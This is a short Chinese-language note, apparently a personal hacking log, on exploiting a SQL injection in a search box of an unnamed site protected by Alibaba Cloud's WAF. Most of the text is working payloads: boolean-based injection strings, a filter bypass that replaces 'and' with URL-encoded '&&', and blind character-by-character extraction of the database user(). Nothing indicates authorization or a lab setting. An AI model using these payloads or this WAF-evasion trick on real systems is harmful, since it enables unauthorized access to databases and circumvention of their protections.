做個筆記吧,某SQL注入點的繞過,有阿里雲waf的。
首先遇到是個搜索框的注入點:
演示下:
針對搜索框,我們的sql語句一般是怎么寫的?
本地演示:select * from product where pname like '%華為%'
我們如何進行注入判斷?
select * from product where pname like '%華為%' and 1=1 and '%%'='%%'
select * from product where pname like '%華為%' and 1=2 and '%%'='%%'
那么我們的sql注入payload就是:%' and 1=1 and '%%'='%
我們嘗試注入這段語句:
直接遭到了攔截,我猜測可能是對and進行了過濾。不允許出現and
在SQL注入測試中我們知道一個小技巧那就是
and可以用&&進行替代。
or可以用||進行替代。
因為我們的注入類型是GET類型,所以我們要對&&進行url編碼:
然后構造如下payload:%' %26%26 1=1 %26%26 '%%'='%
正確回顯了數據,如果我們and 1=2呢:
不顯示信息,現在我們可以說這里是存在SQL注入的
我們使用這種方法判斷出存在注入,現在我們還要繼續出數據,挖掘SQL注入漏洞最基本的得注入出user()或者是database()名字:
我們對user()進行判斷:
輸入payload:%' %26%26 user() like 'a%' %26%26 '%%'='%
返回沒有輸出內容,說明我們的user()第一位不是a
繼續探測:
直到輸入o
輸出了正確的內容,說明user()第一位就是o。
做個記錄。。